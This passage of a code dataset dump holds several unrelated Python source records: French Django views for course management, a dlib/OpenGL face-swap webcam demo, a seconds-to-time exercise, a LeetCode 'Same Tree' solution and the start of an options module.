ModeleModule.objects.get(id=request.POST['idModule'])\n\tform = ModuleForm(request.POST, instance=module)\n\t\n\tif form.is_valid():\n\t\tform.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef paramAjouterModule(request, idModele, idUE):\n\t\n\tue = ModeleUE.objects.get(id=idUE)\n\tform = ModuleForm()\n\t\n\treturn render(request, 'enseignementManager/ajouterModule.html', locals())\n\t\ndef ajouterModule(request):\n\t\n\tform = ModuleForm(request.POST)\n\t\n\tif form.is_valid():\n\t\tmodule = form.save(commit = False)\n\t\tmodule.modeleUE = ModeleUE.objects.get(id=request.POST['idUE'])\n\t\tmodule.save()\n\t\n\treturn modifierTreeViewModeleFormation(request, request.POST['idModele'])\n\t\ndef supprimerModule(request, idModele, idModule):\n\t\n\ttry:\n\t\tmodeleModule = ModeleModule.objects.get(id=idModule)\n\texcept ModeleModule.DoesNotExist:\n\t\ttitreErreur = 'Erreur de suppression du modèle de module'\n\t\tmessageErreur = 'Le modèle de module que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/modifierTreeViewModeleFormation/' + idModele\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\n\t\tmodeleModule.delete()\n\t\treturn modifierTreeViewModeleFormation(request, idModele)\n\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle de module ' + modeleModule.intitule\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerModule/' + idModele + '/' + idModule\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\ndef homeBAC(request):\n\treturn homeBACMessage(request, False)\n\ndef homeBACMessage(request, messageAAfficher):\n\n\tif request.method == 'POST':\n\t\tform = BACForm(request.POST)\n\t\t\n\t\tif form.is_valid():\n\t\t\t\n\t\t\ttry:\n\t\t\t\tbac = BAC.objects.get(intitule=request.POST['intitule'])\n\t\t\t\t\n\t\t\t\t# Erreur, bac déjà existant.\n\t\t\t\ttitreErreur = 'Erreur de création du BAC.'\n\t\t\t\tmessageErreur = 'Le nom du BAC doit être unique.'\n\t\t\t\tdetailsErreur = []\n\t\t\t\tdetailsErreur.append('Il existe déjà un BAC nommé : \\'' + request.POST['intitule'] + '\\'')\n\t\t\t\tpageRetour = '/gestionEnseignement/BAC'\n\t\t\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\t\t\n\t\t\texcept BAC.DoesNotExist:\n\t\t\t\t\n\t\t\t\tbac = form.save()\n\t\t\t\tmessageAAfficher = 'Le BAC ' + bac.intitule + ' a bien été ajouté.'\n\t\n\tetus = Etudiant.objects.all()\n\t\n\tlisteBACNonSupprimable = []\n\t\n\tfor etu in etus:\n\t\tlisteBACNonSupprimable.append(etu.BAC)\n\t\n\tform = BACForm()\n\t\n\t#On récupère tous les bacs présents dans la BDD en vue d'un affichage\n\tmodelesBAC = BAC.objects.all()\n\t\n\treturn render(request, 'enseignementManager/ModelesOnglets.html', locals())\n\ndef supprimerBAC(request, idBAC):\n\t#On récupère le BAC dans une variable avant de le supprimer, afin d'avoir accès à son intitule.\n\ttry:\n\t\tmodeleBAC = BAC.objects.get(id=idBAC)\n\t\t\n\texcept BAC.DoesNotExist:\n\t\t# Erreur, BAC inexistant.\n\t\ttitreErreur = 'Erreur de suppression du BAC.'\n\t\tmessageErreur = 'Le BAC que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/BAC'\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\t\n\t\tmessageAAfficher = 'Le BAC ' + modeleBAC.intitule + ' à bien été supprimé.'\n\t\tmodeleBAC.delete()\n\t\trequest.method = 'GET'\n\t\treturn homeBACMessage(request, messageAAfficher)\n\t\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle de BAC ' + modeleBAC.intitule\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerBAC/' + idBAC\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\ndef paramModifierBAC(request, idBAC):\n\t\n\tmodeleBAC = BAC.objects.get(id=idBAC)\n\tform = BACForm(instance=modeleBAC)\n\treturn render(request, 'enseignementManager/modifierBAC.html', locals())\n\ndef modifierBAC(request):\n\n\tmodeleBAC = BAC.objects.get(id=request.POST['idBAC'])\n\tform = BACForm(request.POST, instance=modeleBAC)\n\tmessageAAfficher = 'Le BAC à bien été modifié.'\n\tif form.is_valid():\n\t\trequest.method = 'GET'\n\t\tform.save()\n\t\n\treturn homeBACMessage(request, messageAAfficher)\n\t\n\"\"\"\nGestion des cursus :\n\"\"\"\ndef homeCursus(request):\n\treturn homeCursusMessage(request, False)\n\ndef homeCursusMessage(request, messageAAfficher):\n\t\n\tif request.method == 'POST': #S'il s'agit d'une requête POST.\n\t\tform = CursusForm(request.POST)\n\t\t\n\t\tif form.is_valid():\n\t\t\t\n\t\t\ttry:\n\t\t\t\tcursusExistant = CursusPossible.objects.get(intitule=request.POST['intitule'])\n\t\t\t\t\n\t\t\t\t# Erreur, cursus déjà existant.\n\t\t\t\ttitreErreur = 'Erreur de création du cursus.'\n\t\t\t\tmessageErreur = 'Le nom du cursus doit être unique.'\n\t\t\t\tdetailsErreur = []\n\t\t\t\tdetailsErreur.append('Il existe déjà un cursus nommé : \\'' + request.POST['intitule'] + '\\'')\n\t\t\t\tpageRetour = '/gestionEnseignement/cursus'\n\t\t\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\t\t\t\n\t\t\texcept CursusPossible.DoesNotExist:\n\t\t\t\t\n\t\t\t\t# le cursus n'existe pas, on peut le rajouter\n\t\t\n\t\t\t\tcurs = form.save()\n\t\t\t\tmessageAAfficher = 'Le Cursus ' + curs.intitule + ' a bien été ajouté.'\n\t\t\t\t\n\tform = CursusForm()\n\t\n\t# liste de tous les modeles de cursus\n\ttabCursus = CursusPossible.objects.all().order_by('-id')\n\t\n\t#tableau qui stockera les cursus à ne pas supprimer.\n\tcursusNonSupprimable = []\n\t\n\t#On récupère nos cursus pré/postDUT\n\tcursPreDUT = CursusPreDUT.objects.all()\n\tcursusPostDUT = CursusPostDUT.objects.all()\n\t\n\t#On test tous nos cursus pour voir lesquels sont supprimables/non supprimables.\n\tfor curs in cursPreDUT:\n\t\tcursusNonSupprimable.append(curs.cursus)\n\t\t\n\tfor curs in cursusPostDUT:\n\t\tcursusNonSupprimable.append(curs.cursus)\n\t\n\treturn render(request, 'enseignementManager/ModelesOnglets.html', locals())\n\n\ndef supprimerCursus(request, idCursus):\n\t#On récupère le cursus dans une variable avant de le supprimer, afin d'avoir accès à son intitule.\n\ttry:\n\t\tcurs = CursusPossible.objects.get(id=idCursus)\n\t\t\n\texcept CursusPossible.DoesNotExist:\n\t\t# Erreur, cursus inexistant.\n\t\ttitreErreur = 'Erreur de suppression du cursus.'\n\t\tmessageErreur = 'Le cursus que vous souhaitez supprimer n\\'existe pas.'\n\t\tdetailsErreur = []\n\t\tpageRetour = '/gestionEnseignement/cursus'\n\t\treturn render(request, 'erreurUtilisateur.html', locals())\n\t\n\tif request.method == 'POST' and 'formulaireDeConfirmation' in request.POST:\n\t\t\n\t\tmessageAAfficher = 'Le cursus ' + curs.intitule + ' à bien été supprimé.'\n\t\tcurs.delete()\n\t\trequest.method = 'GET'\n\t\treturn homeCursusMessage(request, messageAAfficher)\n\t\t\n\telse:\n\t\t\n\t\tactionUtilisateur = 'Supprimer le modèle de cursus ' + curs.intitule\n\t\tvaleursPOSTAConserver = []\n\t\tlienActionUtilisateur = '/gestionEnseignement/supprimerCursus/' + idCursus\n\t\treturn render(request, 'pageConfirmation.html', locals())\n\ndef paramModifierCursus(request, idCursus):\n\t\n\tcursus = CursusPossible.objects.get(id=idCursus)\n\tform = CursusForm(instance=cursus)\n\t\n\treturn render(request, 'enseignementManager/modifierCursus.html', locals())\n\ndef modifierCursus(request):\n\tcursus = CursusPossible.objects.get(id=request.POST['idCursus'])\n\tform = CursusForm(request.POST, instance=cursus)\n\tmessageAAfficher = 'Le cursus à bien été modifié.'\n\tif form.is_valid():\n\t\trequest.method = 'GET'\n\t\tform.save()\n\t\n\treturn homeCursusMessage(request, messageAAfficher)","sub_path":"enseignementManager/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"509107385","text":"import dlib\nimport cv2\nimport numpy as np\nfrom abc import ABCMeta, abstractmethod\nfrom scipy import optimize\nfrom dlib import rectangle\nimport pygame\nfrom pygame.locals import *\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nfrom scipy import optimize\n\n\nfrom tkinter import filedialog\nimport os\n\ndef getNormal(triangle):\n a = triangle[:, 0]\n b = triangle[:, 1]\n c = triangle[:, 2]\n\n axisX = b - a\n axisX = axisX / np.linalg.norm(axisX)\n axisY = c - a\n axisY = axisY / np.linalg.norm(axisY)\n axisZ = np.cross(axisX, axisY)\n axisZ = axisZ / np.linalg.norm(axisZ)\n\n return axisZ\n\n\ndef flipWinding(triangle):\n return [triangle[1], triangle[0], triangle[2]]\n\n\ndef fixMeshWinding(mesh, vertices):\n for i in range(mesh.shape[0]):\n triangle = mesh[i]\n normal = getNormal(vertices[:, triangle])\n if normal[2] > 0:\n mesh[i] = flipWinding(triangle)\n\n return mesh\n\n\ndef getShape3D(mean3DShape, blendshapes, params):\n # skalowanie\n s = params[0]\n # rotacja\n r = params[1:4]\n # przesuniecie (translacja)\n t = params[4:6]\n w = params[6:]\n\n # macierz rotacji z wektora rotacji, wzor Rodriguesa\n R = cv2.Rodrigues(r)[0]\n shape3D = mean3DShape + np.sum(w[:, np.newaxis, np.newaxis] * blendshapes, axis=0)\n\n shape3D = s * np.dot(R, shape3D)\n shape3D[:2, :] = shape3D[:2, :] + t[:, np.newaxis]\n\n return shape3D\n\n\ndef getMask(renderedImg):\n mask = np.zeros(renderedImg.shape[:2], dtype=np.uint8)\n\n\ndef load3DFaceModel(filename):\n faceModelFile = np.load(filename)\n mean3DShape = faceModelFile[\"mean3DShape\"]\n mesh = faceModelFile[\"mesh\"]\n idxs3D = faceModelFile[\"idxs3D\"]\n idxs2D = faceModelFile[\"idxs2D\"]\n blendshapes = faceModelFile[\"blendshapes\"]\n mesh = fixMeshWinding(mesh, mean3DShape)\n\n return mean3DShape, blendshapes, mesh, idxs3D, idxs2D\n\n\ndef getFaceKeypoints(img, detector, predictor, maxImgSizeForDetection=640):\n imgScale = 1\n scaledImg = img\n if max(img.shape) > maxImgSizeForDetection:\n imgScale = maxImgSizeForDetection / float(max(img.shape))\n scaledImg = cv2.resize(img, (int(img.shape[1] * imgScale), int(img.shape[0] * imgScale)))\n\n # detekcja twarzy\n dets = detector(scaledImg, 1)\n\n if len(dets) == 0:\n return None\n\n shapes2D = []\n for det in dets:\n faceRectangle = rectangle(int(det.left() / imgScale), int(det.top() / imgScale), int(det.right() / imgScale),\n int(det.bottom() / imgScale))\n\n # detekcja punktow charakterystycznych twarzy\n dlibShape = predictor(img, faceRectangle)\n\n shape2D = np.array([[p.x, p.y] for p in dlibShape.parts()])\n # transpozycja, zeby ksztalt byl 2 x n a nie n x 2, pozniej ulatwia to obliczenia\n shape2D = shape2D.T\n\n shapes2D.append(shape2D)\n\n return shapes2D\n\n\ndef getFaceTextureCoords(img, mean3DShape, blendshapes, idxs2D, idxs3D, detector, predictor):\n projectionModel = OrthographicProjectionBlendshapes(blendshapes.shape[0])\n\n keypoints = getFaceKeypoints(img, detector, predictor)[0]\n modelParams = projectionModel.getInitialParameters(mean3DShape[:, idxs3D], keypoints[:, idxs2D])\n modelParams = GaussNewton(modelParams, projectionModel.residual, projectionModel.jacobian,\n ([mean3DShape[:, idxs3D], blendshapes[:, :, idxs3D]], keypoints[:, idxs2D]), verbose=0)\n textureCoords = projectionModel.fun([mean3DShape, blendshapes], modelParams)\n\n return textureCoords\n\n\nclass Model:\n __metaclass__ = ABCMeta\n\n nParams = 0\n\n # zwraca wektor rezyduow przy danych parametrach modelu, wektorze wejsciowym i oczekiwanych wektorze wyjsciowym\n def residual(self, params, x, y):\n r = y - self.fun(x, params)\n r = r.flatten()\n\n return r\n\n # zwraca wartosci zwracane przez model przy danych parametrach i wektorze wejsciowym\n @abstractmethod\n def fun(self, x, params):\n pass\n\n # zwraca jakobian\n @abstractmethod\n def jacobian(self, params, x, y):\n pass\n\n # zwraca zbior przykladowych parametrow modelu\n @abstractmethod\n def getExampleParameters(self):\n pass\n\n # zwraca inny zbior przykladowych parametrow\n @abstractmethod\n def getInitialParameters(self):\n pass\n\n\nclass OrthographicProjectionBlendshapes(Model):\n nParams = 6\n\n def __init__(self, nBlendshapes):\n self.nBlendshapes = nBlendshapes\n self.nParams += nBlendshapes\n\n def fun(self, x, params):\n # skalowanie\n s = params[0]\n # rotacja\n r = params[1:4]\n # przesuniecie (translacja)\n t = params[4:6]\n w = params[6:]\n\n mean3DShape = x[0]\n blendshapes = x[1]\n\n # macierz rotacji z wektora rotacji, wzor Rodriguesa\n R = cv2.Rodrigues(r)[0]\n P = R[:2]\n shape3D = mean3DShape + np.sum(w[:, np.newaxis, np.newaxis] * blendshapes, axis=0)\n\n projected = s * np.dot(P, shape3D) + t[:, np.newaxis]\n\n return projected\n\n def jacobian(self, params, x, y):\n s = params[0]\n r = params[1:4]\n t = params[4:6]\n w = params[6:]\n\n mean3DShape = x[0]\n blendshapes = x[1]\n\n R = cv2.Rodrigues(r)[0]\n P = R[:2]\n shape3D = mean3DShape + np.sum(w[:, np.newaxis, np.newaxis] * blendshapes, axis=0)\n\n nPoints = mean3DShape.shape[1]\n\n # nSamples * 2 poniewaz kazdy punkt ma dwa wymiary (x i y)\n jacobian = np.zeros((nPoints * 2, self.nParams))\n\n jacobian[:, 0] = np.dot(P, shape3D).flatten()\n\n stepSize = 10e-4\n step = np.zeros(self.nParams)\n step[1] = stepSize;\n jacobian[:, 1] = ((self.fun(x, params + step) - self.fun(x, params)) / stepSize).flatten()\n step = np.zeros(self.nParams)\n step[2] = stepSize;\n jacobian[:, 2] = ((self.fun(x, params + step) - self.fun(x, params)) / stepSize).flatten()\n step = np.zeros(self.nParams)\n step[3] = stepSize;\n jacobian[:, 3] = ((self.fun(x, params + step) - self.fun(x, params)) / stepSize).flatten()\n\n jacobian[:nPoints, 4] = 1\n jacobian[nPoints:, 5] = 1\n\n startIdx = self.nParams - self.nBlendshapes\n for i in range(self.nBlendshapes):\n jacobian[:, i + startIdx] = s * np.dot(P, blendshapes[i]).flatten()\n\n return jacobian\n\n # nie uzywane\n def getExampleParameters(self):\n params = np.zeros(self.nParams)\n params[0] = 1\n\n return params\n\n def getInitialParameters(self, x, y):\n mean3DShape = x.T\n shape2D = y.T\n\n shape3DCentered = mean3DShape - np.mean(mean3DShape, axis=0)\n shape2DCentered = shape2D - np.mean(shape2D, axis=0)\n\n scale = np.linalg.norm(shape2DCentered) / np.linalg.norm(shape3DCentered[:, :2])\n t = np.mean(shape2D, axis=0) - np.mean(mean3DShape[:, :2], axis=0)\n\n params = np.zeros(self.nParams)\n params[0] = scale\n params[4] = t[0]\n params[5] = t[1]\n\n return params\n\n\ndef setOrtho(w, h):\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n glOrtho(0, w, h, 0, -1000, 1000)\n glMatrixMode(GL_MODELVIEW)\n\n\ndef addTexture(img):\n textureId = glGenTextures(1)\n glBindTexture(GL_TEXTURE_2D, textureId)\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1)\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, img.shape[1], img.shape[0], 0, GL_BGR, GL_UNSIGNED_BYTE, img)\n\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_DECAL)\n\n return textureId\n\n\nclass FaceRenderer:\n def __init__(self, targetImg, textureImg, textureCoords, mesh):\n self.h = targetImg.shape[0]\n self.w = targetImg.shape[1]\n\n pygame.init()\n pygame.display.set_mode((self.w, self.h), DOUBLEBUF | OPENGL)\n setOrtho(self.w, self.h)\n\n glEnable(GL_DEPTH_TEST)\n glEnable(GL_TEXTURE_2D)\n\n self.textureCoords = textureCoords\n self.textureCoords[0, :] /= textureImg.shape[1]\n self.textureCoords[1, :] /= textureImg.shape[0]\n\n self.faceTexture = addTexture(textureImg)\n self.renderTexture = addTexture(targetImg)\n\n self.mesh = mesh\n\n def drawFace(self, vertices):\n glBindTexture(GL_TEXTURE_2D, self.faceTexture)\n\n glBegin(GL_TRIANGLES)\n for triangle in self.mesh:\n for vertex in triangle:\n glTexCoord2fv(self.textureCoords[:, vertex])\n glVertex3fv(vertices[:, vertex])\n\n glEnd()\n\n def render(self, vertices):\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n self.drawFace(vertices)\n\n data = glReadPixels(0, 0, self.w, self.h, GL_BGR, GL_UNSIGNED_BYTE)\n renderedImg = np.fromstring(data, dtype=np.uint8)\n renderedImg = renderedImg.reshape((self.h, self.w, 3))\n for i in range(renderedImg.shape[2]):\n renderedImg[:, :, i] = np.flipud(renderedImg[:, :, i])\n\n pygame.display.flip()\n return renderedImg\n\n\ndef LineSearchFun(alpha, x, d, fun, args):\n r = fun(x + alpha * d, *args)\n return np.sum(r ** 2)\n\n\ndef GaussNewton(x0, fun, funJack, args, maxIter=10, eps=10e-7, verbose=1):\n x = np.array(x0, dtype=np.float64)\n\n oldCost = -1\n for i in range(maxIter):\n r = fun(x, *args)\n cost = np.sum(r ** 2)\n\n if verbose > 0:\n print(\"Cost at iteration \" + str(i) + \": \" + str(cost))\n\n if (cost < eps or abs(cost - oldCost) < eps):\n break\n oldCost = cost\n\n J = funJack(x, *args)\n grad = np.dot(J.T, r)\n H = np.dot(J.T, J)\n direction = np.linalg.solve(H, grad)\n\n # optymalizacja dlugosci kroku\n lineSearchRes = optimize.minimize_scalar(LineSearchFun, args=(x, direction, fun, args))\n # dlugosc kroku\n alpha = lineSearchRes[\"x\"]\n\n x = x + alpha * direction\n\n if verbose > 0:\n print(\"Gauss Netwon finished after \" + str(i + 1) + \" iterations\")\n r = fun(x, *args)\n cost = np.sum(r ** 2)\n print(\"cost = \" + str(cost))\n print(\"x = \" + str(x))\n\n return x\n\n\ndef SteepestDescent(x0, fun, funJack, args, maxIter=10, eps=10e-7, verbose=1):\n x = np.array(x0, dtype=np.float64)\n\n oldCost = -1\n for i in range(maxIter):\n r = fun(x, *args)\n cost = np.sum(r ** 2)\n\n if verbose > 0:\n print(\"Cost at iteration \" + str(i) + \": \" + str(cost))\n\n # warunki stopu\n if (cost < eps or abs(cost - oldCost) < eps):\n break\n oldCost = cost\n\n J = funJack(x, *args)\n grad = 2 * np.dot(J.T, r)\n direction = grad\n\n # optymalizacja dlugosci kroku\n lineSearchRes = optimize.minimize_scalar(LineSearchFun, args=(x, direction, fun, args))\n # dlugosc kroku\n alpha = lineSearchRes[\"x\"]\n\n x = x + alpha * direction\n\n if verbose > 0:\n print(\"Steepest Descent finished after \" + str(i + 1) + \" iterations\")\n r = fun(x, *args)\n cost = np.sum(r ** 2)\n print(\"cost = \" + str(cost))\n print(\"x = \" + str(x))\n\n return x\n\n\ndef blendImages(src, dst, mask, featherAmount=0.2):\n # indeksy nie czarnych pikseli maski\n maskIndices = np.where(mask != 0)\n # te same indeksy tylko, ze teraz w jednej macierzy, gdzie kazdy wiersz to jeden piksel (x, y)\n maskPts = np.hstack((maskIndices[1][:, np.newaxis], maskIndices[0][:, np.newaxis]))\n faceSize = np.max(maskPts, axis=0) - np.min(maskPts, axis=0)\n featherAmount = featherAmount * np.max(faceSize)\n\n hull = cv2.convexHull(maskPts)\n dists = np.zeros(maskPts.shape[0])\n for i in range(maskPts.shape[0]):\n dists[i] = cv2.pointPolygonTest(hull, (maskPts[i, 0], maskPts[i, 1]), True)\n\n weights = np.clip(dists / featherAmount, 0, 1)\n\n composedImg = np.copy(dst)\n composedImg[maskIndices[0], maskIndices[1]] = weights[:, np.newaxis] * src[maskIndices[0], maskIndices[1]] + (\n 1 - weights[:, np.newaxis]) * dst[maskIndices[0], maskIndices[1]]\n\n return composedImg\n\n\n# uwaga, tutaj src to obraz, z ktorego brany bedzie kolor\ndef colorTransfer(src, dst, mask):\n transferredDst = np.copy(dst)\n # indeksy nie czarnych pikseli maski\n maskIndices = np.where(mask != 0)\n # src[maskIndices[0], maskIndices[1]] zwraca piksele w nie czarnym obszarze maski\n\n maskedSrc = src[maskIndices[0], maskIndices[1]].astype(np.int32)\n maskedDst = dst[maskIndices[0], maskIndices[1]].astype(np.int32)\n\n meanSrc = np.mean(maskedSrc, axis=0)\n meanDst = np.mean(maskedDst, axis=0)\n\n maskedDst = maskedDst - meanDst\n maskedDst = maskedDst + meanSrc\n maskedDst = np.clip(maskedDst, 0, 255)\n\n transferredDst[maskIndices[0], maskIndices[1]] = maskedDst\n\n return transferredDst\n\n\ndef drawPoints(img, points, color=(0, 255, 0)):\n for point in points:\n cv2.circle(img, (int(point[0]), int(point[1])), 2, color)\n\n\ndef drawCross(img, params, center=(100, 100), scale=30.0):\n R = cv2.Rodrigues(params[1:4])[0]\n\n points = np.array([[1, 0, 0], [0, -1, 0], [0, 0, -1]])\n points = np.dot(points, R.T)\n points2D = points[:, :2]\n\n points2D = (points2D * scale + center).astype(np.int32)\n\n cv2.line(img, (center[0], center[1]), (points2D[0, 0], points2D[0, 1]), (255, 0, 0), 3)\n cv2.line(img, (center[0], center[1]), (points2D[1, 0], points2D[1, 1]), (0, 255, 0), 3)\n cv2.line(img, (center[0], center[1]), (points2D[2, 0], points2D[2, 1]), (0, 0, 255), 3)\n\n\ndef drawMesh(img, shape, mesh, color=(255, 0, 0)):\n for triangle in mesh:\n point1 = shape[triangle[0]].astype(np.int32)\n point2 = shape[triangle[1]].astype(np.int32)\n point3 = shape[triangle[2]].astype(np.int32)\n\n cv2.line(img, (point1[0], point1[1]), (point2[0], point2[1]), (255, 0, 0), 1)\n cv2.line(img, (point2[0], point2[1]), (point3[0], point3[1]), (255, 0, 0), 1)\n cv2.line(img, (point3[0], point3[1]), (point1[0], point1[1]), (255, 0, 0), 1)\n\n\ndef drawProjectedShape(img, x, projection, mesh, params, lockedTranslation=False):\n localParams = np.copy(params)\n\n if lockedTranslation:\n localParams[4] = 100\n localParams[5] = 200\n\n projectedShape = projection.fun(x, localParams)\n\n drawPoints(img, projectedShape.T, (0, 0, 255))\n drawMesh(img, projectedShape.T, mesh)\n drawCross(img, params)\n\ndef main():\n print(\"Press T to draw the keypoints and the 3D model\")\n print(\"Press R to start recording to a video file\")\n\n predictor_path = 'shape_predictor_68_face_landmarks.dat'\n default_dir=\"liuyifei.jpg\"\n image_name = filedialog.askopenfilename(title='选择含有人脸的图片', filetypes=[(\"png图片\", \"*.png\"), ('jpeg图片', '*.jpeg'),('jpg图片', '*.jpg')],\n initialdir=(os.path.expanduser(default_dir)))\n #image_name = cv2.imread(file_path, cv2.IMREAD_COLOR)\n #image_name = \"/Users/apple/PycharmProjects/001/data/wuyannzu.jpeg\"\n maxImageSizeForDetection = 300\n\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(predictor_path)\n mean3DShape, blendshapes, mesh, idxs3D, idxs2D = load3DFaceModel(\"candide.npz\")\n projectionModel = OrthographicProjectionBlendshapes(blendshapes.shape[0])\n modelParams = None\n lockedTranslation = False\n drawOverlay = False\n cap = cv2.VideoCapture(0)\n writer = None\n cameraImg = cap.read()[1]\n textureImg = cv2.imread(image_name)\n textureCoords = getFaceTextureCoords(textureImg, mean3DShape, blendshapes, idxs2D, idxs3D, detector, predictor)\n renderer = FaceRenderer(cameraImg, textureImg, textureCoords, mesh)\n\n while True:\n cameraImg = cap.read()[1]\n shapes2D = getFaceKeypoints(cameraImg, detector, predictor, maxImageSizeForDetection)\n\n if shapes2D is not None:\n for shape2D in shapes2D:\n modelParams = projectionModel.getInitialParameters(mean3DShape[:, idxs3D], shape2D[:, idxs2D])\n\n # 3D model parameter optimization\n modelParams = GaussNewton(modelParams, projectionModel.residual, projectionModel.jacobian,\n ([mean3DShape[:, idxs3D], blendshapes[:, :, idxs3D]], shape2D[:, idxs2D]),\n verbose=0)\n\n # rendering the model to an image\n shape3D = getShape3D(mean3DShape, blendshapes, modelParams)\n renderedImg = renderer.render(shape3D)\n mask = np.copy(renderedImg[:, :, 0])\n renderedImg = colorTransfer(cameraImg, renderedImg, mask)\n cameraImg = blendImages(renderedImg, cameraImg, mask)\n\n if drawOverlay:\n drawPoints(cameraImg, shape2D.T)\n drawProjectedShape(cameraImg, [mean3DShape, blendshapes], projectionModel, mesh, modelParams,\n lockedTranslation)\n\n if writer is not None:\n writer.write(cameraImg)\n\n cv2.imshow('image', cameraImg)\n key = cv2.waitKey(1)\n if key == 27:\n break\n if key == ord(\"q\"):\n break\n if key == ord('t'):\n drawOverlay = not drawOverlay\n if key == ord('r'):\n if writer is None:\n print(\"Starting video writer\")\n # writer = cv2.VideoWriter(\"../out.avi\", cv2.cv.CV_FOURCC('X', 'V', 'I', 'D'), 25, (cameraImg.shape[1], cameraImg.shape[0]))\n\n if writer.isOpened():\n print(\"Writer succesfully opened\")\n else:\n writer = None\n print(\"Writer opening failed\")\n else:\n print(\"Stopping video writer\")\n writer.release()\n writer = None\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"swap_face.py","file_name":"swap_face.py","file_ext":"py","file_size_in_byte":17934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"110043522","text":"\"\"\"Write a program that takes the number of seconds as input,\nand then converts that to minutes and seconds (for example, 102->1 min, 42 sec)\nand prints the result. Also, if you want, convert it to\nhours, minutes, and seconds. \"\"\"\n\n#Input the time in seconds\ntime = int(input(\"Enter the number of seconds: \"))\n\n#Calculate the number of seconds\nseconds = time % 60\n\n#Subtract out the seconds and calculate how many minutes remain\ntime = (time - seconds) / 60\n\n#Calculate the number of minutes\nminutes = time % 60\n\n#Calculate the number of hours\nhours = (time - minutes) / 60\n\n#Print everything out\nprint(\"This is equal to \" + str(hours) + \" hours and \" +\n str(minutes) + \" minutes and \" + str(seconds) + \" seconds.\")\n\n\"\"\"Note: you can split the print statement across several lines\nto make it easier to read.\"\"\"\n","sub_path":"Class 1/Class 1 Solutions/1.4 - Time.py","file_name":"1.4 - Time.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"249096137","text":"#\n# @lc app=leetcode id=100 lang=python3\n#\n# [100] Same Tree\n#\n# https://leetcode.com/problems/same-tree/description/\n#\n# algorithms\n# Easy (50.77%)\n# Likes: 1352\n# Dislikes: 45\n# Total Accepted: 429.2K\n# Total Submissions: 842.3K\n# Testcase Example: '[1,2,3]\\n[1,2,3]'\n#\n# Given two binary trees, write a function to check if they are the same or\n# not.\n# \n# Two binary trees are considered the same if they are structurally identical\n# and the nodes have the same value.\n# \n# Example 1:\n# \n# \n# Input: 1 1\n# ⁠ / \\ / \\\n# ⁠ 2 3 2 3\n# \n# ⁠ [1,2,3], [1,2,3]\n# \n# Output: true\n# \n# \n# Example 2:\n# \n# \n# Input: 1 1\n# ⁠ / \\\n# ⁠ 2 2\n# \n# ⁠ [1,2], [1,null,2]\n# \n# Output: false\n# \n# \n# Example 3:\n# \n# \n# Input: 1 1\n# ⁠ / \\ / \\\n# ⁠ 2 1 1 2\n# \n# ⁠ [1,2,1], [1,1,2]\n# \n# Output: false\n# \n# \n#\n\n# @lc code=start\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def isSameTree(self, p: TreeNode, q: TreeNode) -> bool:\n return self.isSameTree_1(p, q)\n \n def isSameTree_0(self, p: TreeNode, q: TreeNode) -> bool:\n if p and q: return p.val == q.val and \\\n self.isSameTree(p.left, q.left) and \\\n self.isSameTree(p.right, q.right)\n else:\n return p is q\n \n def isSameTree_1(self, p: TreeNode, q: TreeNode) -> bool:\n s0, s1 = [], []\n if p: s0.append(p)\n if q: s1.append(q)\n while s0 and s1:\n n0, n1 = s0.pop(), s1.pop()\n if n0.val != n1.val: return False\n\n if n0.left: s0.append(n0.left)\n if n1.left: s1.append(n1.left)\n if len(s0) != len(s1): return False\n \n if n0.right: s0.append(n0.right)\n if n1.right: s1.append(n1.right)\n if len(s0) != len(s1): return False\n \n return len(s0) == len(s1)\n# @lc code=end","sub_path":"leetcode/100.same-tree.py","file_name":"100.same-tree.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503551656","text":"\"\"\"\nThis module manage options of the package\n\n# Like always, largely inspired by xarray code:\n# https://github.com/pydata/xarray/blob/cafab46aac8f7a073a32ec5aa47e213a9810ed54/xarray/core/options.py\n\"\"\"\nimport os\nfrom argopy.errors import InvalidOption, OptionValueError\n\n# Define option names as seen by users:\nDATA_SOURCE = \"src\"\nLOCAL_FTP = \"local_ftp\"\nDATASET = \"dataset\"\nDATA_CACHE = \"cachedir\"\nUSER_LEVEL = \"mode\"\nAPI_TIMEOUT = 